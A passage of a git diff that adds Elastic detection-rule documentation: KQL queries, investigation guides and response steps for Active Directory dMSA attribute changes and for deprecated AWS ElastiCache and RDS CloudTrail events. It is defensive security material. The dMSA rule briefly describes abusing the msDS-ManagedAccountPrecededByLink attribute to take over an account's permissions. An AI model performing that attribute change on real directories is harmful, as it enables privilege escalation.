+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Command and Scripting Interpreter
+** ID: T1059
+** Reference URL: https://attack.mitre.org/techniques/T1059/
+* Sub-technique:
+** Name: Unix Shell
+** ID: T1059.004
+** Reference URL: https://attack.mitre.org/techniques/T1059/004/
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
+* Tactic:
+** Name: Exfiltration
+** ID: TA0010
+** Reference URL: https://attack.mitre.org/tactics/TA0010/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc
new file mode 100644
index 0000000000..e92864fe98
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc
@@ -0,0 +1,110 @@
+[[prebuilt-rule-8-19-11-delegated-managed-service-account-modification-by-an-unusual-user]]
+=== Delegated Managed Service Account Modification by an Unusual User
+
+Detects modifications in the msDS-ManagedAccountPrecededByLink attribute of a delegated managed service account by an unusual subject account. Attackers can abuse this attribute to take over the permission of a target account and inherit it's permissions allowing them to further elevate privileges.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Privilege Escalation
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Delegated Managed Service Account Modification by an Unusual User*
+
+
+
+*Possible investigation steps*
+
+- Examine the winlog.event_data.SubjectUserName field and verify if he is allowed and used to perform this kind of dMSA changes.
+- Examine the winlog.event_data.AttributeValue field to verify the targeted account and if it's supposed to use dMSA.
+- Examine if there are any recent dMSA account creation by the same winlog.event_data.SubjectUserName.
+- Investigate the history of the identified user account to determine if there are any other suspicious activities or patterns of behavior.
+- Collaborate with the IT or security team to determine if the changes were authorized or if further action is needed to secure the environment.
+
+
+*False positive analysis*
+
+
+- Migration of legacy service accounts using delegated managed service account.
+
+
+*Response and remediation*
+
+
+- Immediately disable the winlog.event_data.SubjectUserName account and revert all changes performed by that account.
+- Identify and isolate the source machines from where the SubjectUserName is authenticating.
+- Reset passwords for all accounts that were potentially affected or had their permissions altered, focusing on privileged accounts to prevent adversaries from regaining access.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach, including identifying any other compromised systems or accounts.
+- Review and update access control policies and security configurations to prevent similar attacks, ensuring that only authorized personnel have the ability to modify critical Active Directory objects or create OU child objects.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:5136 and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msDS-ManagedAccountPrecededByLink"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Domain Accounts
+** ID: T1078.002
+** Reference URL: https://attack.mitre.org/techniques/T1078/002/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-created.asciidoc
new file mode 100644
index 0000000000..44d8a1c408
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-created.asciidoc
@@ -0,0 +1,121 @@
+[[prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-created]]
+=== Deprecated - AWS ElastiCache Security Group Created
+
+Identifies when an ElastiCache security group has been created. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting ElastiCache in VPC-based deployments.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonElastiCache/latest/APIReference/API_CreateCacheSecurityGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Tactic: Defense Evasion
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS ElastiCache Security Group Created*
+
+
+AWS ElastiCache security groups control access to cache clusters, ensuring only authorized traffic can interact with them. Adversaries might create new security groups to bypass existing restrictions, facilitating unauthorized access or data exfiltration. The detection rule monitors for successful creation events of these groups, signaling potential defense evasion tactics by identifying unusual or unauthorized configurations.
+
+
+*Possible investigation steps*
+
+
+- Review the CloudTrail logs for the specific event.action "Create Cache Security Group" to identify the user or role that initiated the creation of the ElastiCache security group.
+- Examine the event.provider field to confirm that the event is associated with elasticache.amazonaws.com, ensuring the alert is relevant to ElastiCache services.
+- Check the event.outcome field to verify that the security group creation was successful, confirming the alert's validity.
+- Investigate the IAM permissions and roles associated with the user or entity that created the security group to determine if they have legitimate access and reasons for this action.
+- Analyze the configuration of the newly created ElastiCache security group to identify any overly permissive rules or unusual configurations that could indicate malicious intent.
+- Correlate this event with other recent activities in the AWS account, such as changes to IAM policies or unusual login attempts, to assess if this is part of a broader attack pattern.
+
+
+*False positive analysis*
+
+
+- Routine administrative actions by authorized personnel can trigger this rule. Regularly review and document legitimate security group creation activities to differentiate them from suspicious actions.
+- Automated processes or scripts that create security groups as part of normal operations may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts.
+- Infrastructure as Code (IaC) tools like Terraform or CloudFormation might create security groups during deployments. Ensure these tools and their actions are well-documented and consider excluding their known patterns from triggering alerts.
+- Development and testing environments often involve frequent creation and deletion of resources, including security groups. Establish separate monitoring rules or exceptions for these environments to reduce noise.
+- Scheduled maintenance or updates that involve security group modifications should be communicated to the security team in advance, allowing them to temporarily adjust monitoring rules or expectations.
+
+
+*Response and remediation*
+
+
+- Immediately review the newly created ElastiCache security group to verify its necessity and ensure it aligns with organizational security policies. If unauthorized, proceed to delete the security group to prevent potential misuse.
+- Conduct a thorough audit of recent IAM activity to identify any unauthorized access or privilege escalation that may have led to the creation of the security group. Pay special attention to any anomalies in user behavior or access patterns.
+- Isolate any affected ElastiCache instances by temporarily restricting access to them until a full assessment is completed. This helps prevent any potential data exfiltration or unauthorized access.
+- Notify the security operations team and relevant stakeholders about the incident for further investigation and to ensure awareness across the organization.
+- Implement additional monitoring on the AWS account to detect any further unauthorized changes to security groups or other critical configurations, enhancing the detection capabilities for similar threats.
+- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized security group creation in the future.
+- If the incident is confirmed as malicious, escalate to the incident response team for a comprehensive investigation and to determine if further actions, such as legal or regulatory reporting, are necessary.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:elasticache.amazonaws.com and event.action:"Create Cache Security Group" and
+event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Cloud Firewall
+** ID: T1562.007
+** Reference URL: https://attack.mitre.org/techniques/T1562/007/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc
new file mode 100644
index 0000000000..e71d62d64c
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc
@@ -0,0 +1,122 @@
+[[prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-modified-or-deleted]]
+=== Deprecated - AWS ElastiCache Security Group Modified or Deleted
+
+Identifies when an ElastiCache security group has been modified or deleted. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting ElastiCache in VPC-based deployments.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonElastiCache/latest/APIReference/Welcome.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Tactic: Defense Evasion
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS ElastiCache Security Group Modified or Deleted*
+
+
+AWS ElastiCache security groups control inbound and outbound traffic to cache clusters, ensuring only authorized access. Adversaries may modify or delete these groups to bypass security controls, facilitating unauthorized data access or exfiltration. The detection rule monitors specific API actions related to security group changes, flagging successful modifications or deletions as potential defense evasion attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the CloudTrail logs for the specific event.provider: elasticache.amazonaws.com to identify the user or role that initiated the security group modification or deletion.
+- Examine the event.action field to determine the exact action taken, such as "Delete Cache Security Group" or "Authorize Cache Security Group Ingress", and assess the potential impact on security posture.
+- Check the event.outcome field to confirm the success of the action and correlate it with any other suspicious activities in the same timeframe.
+- Investigate the source IP address and location associated with the event to determine if it aligns with expected administrative activity.
+- Review the AWS IAM policies and permissions associated with the user or role to ensure they are appropriate and have not been overly permissive.
+- Assess the affected ElastiCache clusters to determine if any unauthorized access or data exfiltration attempts have occurred following the security group change.
+
+
+*False positive analysis*
+
+
+- Routine maintenance activities by authorized personnel can trigger alerts when they modify security groups for legitimate reasons. To manage this, create exceptions for known maintenance windows or specific user actions.
+- Automated scripts or tools used for infrastructure management might modify security groups as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific user or role identifiers.
+- Changes made by cloud management platforms or third-party services that integrate with AWS may also result in false positives. Review and whitelist these services if they are verified as non-threatening.
+- Regular updates or deployments that require temporary security group modifications can be mistaken for suspicious activity. Document these processes and adjust the detection rule to account for these expected changes.
+- Ensure that any changes made by trusted IP addresses or within a specific network range are reviewed and potentially excluded from alerting, as they may represent internal, authorized activities.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected ElastiCache instance by applying restrictive security group rules to prevent further unauthorized access.
+- Review CloudTrail logs to identify any unauthorized API calls related to the security group modifications and determine the source of the changes.
+- Revert any unauthorized changes to the ElastiCache security groups by restoring them to their previous state using backups or documented configurations.
+- Conduct a thorough investigation to identify any data exfiltration or unauthorized access that may have occurred due to the security group changes.
+- Escalate the incident to the security operations team for further analysis and to determine if additional security measures are required.
+- Implement additional monitoring and alerting for changes to ElastiCache security groups to ensure rapid detection of similar threats in the future.
+- Review and update IAM policies to ensure that only authorized personnel have permissions to modify ElastiCache security groups, reducing the risk of future unauthorized changes.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:elasticache.amazonaws.com and event.action:("Delete Cache Security Group" or
+"Authorize Cache Security Group Ingress" or  "Revoke Cache Security Group Ingress" or "AuthorizeCacheSecurityGroupEgress" or
+"RevokeCacheSecurityGroupEgress") and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Cloud Firewall
+** ID: T1562.007
+** Reference URL: https://attack.mitre.org/techniques/T1562/007/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-cluster-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-cluster-creation.asciidoc
new file mode 100644
index 0000000000..b81783ed76
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-cluster-creation.asciidoc
@@ -0,0 +1,125 @@
+[[prebuilt-rule-8-19-11-deprecated-aws-rds-cluster-creation]]
+=== Deprecated - AWS RDS Cluster Creation
+
+Identifies the creation of a new Amazon Relational Database Service (RDS) Aurora DB cluster or global database spread across multiple regions.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/create-db-cluster.html
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBCluster.html
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/create-global-cluster.html
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateGlobalCluster.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Use Case: Asset Visibility
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Cluster Creation*
+
+
+Amazon RDS facilitates database management by automating tasks like hardware provisioning and backups. Adversaries may exploit RDS by creating unauthorized clusters to exfiltrate data or establish persistence. The detection rule monitors successful creation events of RDS clusters, flagging potential misuse by correlating specific actions and outcomes, thus aiding in identifying unauthorized activities.
+
+
+*Possible investigation steps*
+
+
+- Review the event details in AWS CloudTrail to confirm the event.dataset is 'aws.cloudtrail' and the event.provider is 'rds.amazonaws.com', ensuring the alert is based on the correct data source.
+- Verify the identity of the user or service account that initiated the CreateDBCluster or CreateGlobalCluster action by examining the user identity information in the event logs.
+- Check the event time and correlate it with any other suspicious activities or alerts in the same timeframe to identify potential patterns or coordinated actions.
+- Investigate the source IP address and geolocation associated with the event to determine if it aligns with expected access patterns or if it indicates unauthorized access.
+- Assess the configuration and settings of the newly created RDS cluster, including security groups, network settings, and any associated IAM roles, to identify potential security misconfigurations or vulnerabilities.
+- Review the AWS account's recent activity for any other unusual or unauthorized actions that might indicate broader compromise or misuse.
+
+
+*False positive analysis*
+
+
+- Routine maintenance or testing activities by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles known to perform these tasks regularly.
+- Automated scripts or tools used for infrastructure management might create RDS clusters as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific tags or identifiers.
+- Scheduled deployments or updates that involve creating new RDS clusters can be mistaken for unauthorized activity. Document these schedules and configure the detection rule to ignore events during these timeframes.
+- Development or staging environments often involve frequent creation and deletion of RDS clusters. Exclude these environments from monitoring by filtering based on environment-specific tags or naming conventions.
+- Partner or third-party integrations that require creating RDS clusters should be reviewed and whitelisted if deemed non-threatening, ensuring that their actions do not generate false positives.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the newly created RDS cluster to prevent any unauthorized access or data exfiltration. This can be done by modifying the security group rules to restrict inbound and outbound traffic.
+- Review CloudTrail logs to identify the IAM user or role responsible for the creation of the RDS cluster. Verify if the action was authorized and if the credentials have been compromised.
+- Revoke any suspicious or unauthorized IAM credentials and rotate keys for affected users or roles to prevent further unauthorized actions.
+- Conduct a thorough audit of the RDS cluster configuration and data to assess any potential data exposure or integrity issues. If sensitive data is involved, consider notifying relevant stakeholders and following data breach protocols.
+- Implement additional monitoring and alerting for RDS-related activities, focusing on unusual patterns or actions that align with persistence tactics, to enhance detection capabilities.
+- Escalate the incident to the security operations team for further investigation and to determine if additional containment or remediation actions are necessary.
+- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized RDS cluster creation in the future.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(CreateDBCluster or CreateGlobalCluster) and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: External Remote Services
+** ID: T1133
+** Reference URL: https://attack.mitre.org/techniques/T1133/
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-instance-cluster-stoppage.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-instance-cluster-stoppage.asciidoc
new file mode 100644
index 0000000000..1875888206
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-instance-cluster-stoppage.asciidoc
@@ -0,0 +1,121 @@
+[[prebuilt-rule-8-19-11-deprecated-aws-rds-instance-cluster-stoppage]]
+=== Deprecated - AWS RDS Instance/Cluster Stoppage
+
+Identifies that an Amazon Relational Database Service (RDS) cluster or instance has been stopped.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/stop-db-cluster.html
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StopDBCluster.html
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/stop-db-instance.html
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StopDBInstance.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Use Case: Asset Visibility
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Instance/Cluster Stoppage*
+
+
+Amazon RDS is a managed database service that simplifies database setup, operation, and scaling. Adversaries may stop RDS instances or clusters to disrupt services, potentially causing data unavailability or loss. The detection rule monitors AWS CloudTrail logs for successful stop actions on RDS resources, alerting analysts to potential unauthorized disruptions aligned with impact tactics.
+
+
+*Possible investigation steps*
+
+
+- Review the AWS CloudTrail logs to identify the user or role associated with the StopDBCluster or StopDBInstance action to determine if the action was authorized.
+- Check the event time and correlate it with any scheduled maintenance or known operational activities to rule out legitimate stoppage.
+- Investigate the source IP address and location from which the stop action was initiated to identify any anomalies or unauthorized access.
+- Examine the AWS IAM policies and permissions associated with the user or role to ensure they align with the principle of least privilege.
+- Look for any related alerts or logs around the same timeframe that might indicate a broader security incident or unauthorized access attempt.
+- Contact the relevant database or application owner to confirm whether the stoppage was planned or expected.
+
+
+*False positive analysis*
+
+
+- Routine maintenance activities may trigger stop actions on RDS instances or clusters. To manage this, create exceptions for scheduled maintenance windows by excluding events occurring during these times.
+- Development and testing environments often involve frequent stopping and starting of RDS instances. Identify and exclude these environments from alerts by using tags or specific instance identifiers.
+- Automated scripts or tools used for cost-saving measures might stop RDS instances during off-peak hours. Review and whitelist these scripts by verifying their source and purpose.
+- User-initiated stop actions for legitimate reasons, such as troubleshooting or configuration changes, can be excluded by maintaining a list of authorized personnel and their activities.
+- CloudFormation or other infrastructure-as-code tools may stop RDS instances as part of deployment processes. Exclude these actions by identifying and filtering events associated with these tools.
+
+
+*Response and remediation*
+
+
+- Immediately verify the legitimacy of the stop action by reviewing the associated CloudTrail logs, focusing on the user identity, source IP, and time of the event to determine if the action was authorized.
+- If unauthorized, isolate the affected RDS instance or cluster by disabling any associated IAM user or role that performed the stop action to prevent further unauthorized access.
+- Restore the RDS instance or cluster from the latest backup or snapshot to minimize data unavailability and ensure service continuity.
+- Conduct a root cause analysis to identify how the unauthorized stop action was executed, focusing on potential security gaps in IAM policies or network configurations.
+- Implement additional security measures, such as enabling multi-factor authentication (MFA) for all IAM users and roles with permissions to stop RDS instances or clusters.
+- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were impacted.
+- Update the incident response plan to include lessons learned from this event, ensuring quicker and more effective responses to similar threats in the future.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(StopDBCluster or StopDBInstance) and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Service Stop
+** ID: T1489
+** Reference URL: https://attack.mitre.org/techniques/T1489/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-instance-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-instance-creation.asciidoc
new file mode 100644
index 0000000000..75e748ca46
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-instance-creation.asciidoc
@@ -0,0 +1,115 @@
+[[prebuilt-rule-8-19-11-deprecated-aws-rds-instance-creation]]
+=== Deprecated - AWS RDS Instance Creation
+
+Identifies the creation of an Amazon Relational Database Service (RDS) Aurora database instance.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBInstance.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Use Case: Asset Visibility
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Instance Creation*
+
+
+Amazon RDS simplifies database management by automating tasks like provisioning and scaling. However, adversaries may exploit this by creating unauthorized instances to exfiltrate data or establish persistence. The detection rule monitors successful RDS instance creations, focusing on specific AWS CloudTrail events, to identify potential misuse and ensure asset visibility.
+
+
+*Possible investigation steps*
+
+
+- Review the CloudTrail logs for the specific event.action:CreateDBInstance to gather details about the RDS instance creation, including the timestamp, user identity, and source IP address.
+- Verify the user identity associated with the event to determine if the action was performed by an authorized user or service account. Check for any anomalies in user behavior or access patterns.
+- Investigate the source IP address to identify if it is associated with known internal or external entities, and assess if it aligns with expected network activity.
+- Examine the AWS account and region where the RDS instance was created to ensure it aligns with organizational policies and expected usage patterns.
+- Check for any related events or activities in CloudTrail logs around the same timeframe, such as modifications to security groups or IAM policies, which might indicate further unauthorized actions.
+- Assess the configuration and settings of the newly created RDS instance, including database engine, instance class, and network settings, to ensure they comply with security and compliance standards.
+
+
+*False positive analysis*
+
+
+- Routine maintenance or testing activities by authorized personnel may trigger alerts. To manage this, create exceptions for known maintenance windows or specific user accounts involved in these activities.
+- Automated scripts or tools used for legitimate database provisioning can cause false positives. Identify these scripts and exclude their associated user accounts or roles from triggering alerts.
+- Development or staging environments often have frequent instance creations that are non-threatening. Exclude these environments by filtering based on tags or specific resource identifiers.
+- Third-party integrations or services that require RDS instance creation might be flagged. Review and whitelist these services by their IAM roles or API calls.
+- Scheduled scaling operations that automatically create instances can be mistaken for unauthorized activity. Document and exclude these operations by their specific time frames or automation identifiers.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the newly created RDS instance to prevent any unauthorized access or data exfiltration. This can be done by modifying the security group rules to restrict inbound and outbound traffic.
+- Review the CloudTrail logs to identify the IAM user or role responsible for the RDS instance creation. Verify if the action was authorized and if the credentials have been compromised.
+- Revoke any suspicious or unauthorized IAM credentials and rotate keys for affected users or roles to prevent further unauthorized actions.
+- Conduct a thorough audit of the RDS instance configuration, including database parameters and access controls, to ensure no sensitive data has been exposed or altered.
+- Notify the security operations team and relevant stakeholders about the incident for further investigation and to determine if additional systems have been affected.
+- Implement additional monitoring and alerting for unusual RDS activities, such as unexpected instance creations or modifications, to enhance detection capabilities.
+- Review and update IAM policies to enforce the principle of least privilege, ensuring that only authorized users have the necessary permissions to create RDS instances.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:CreateDBInstance and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-creation.asciidoc
new file mode 100644
index 0000000000..28076e929c
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-creation.asciidoc
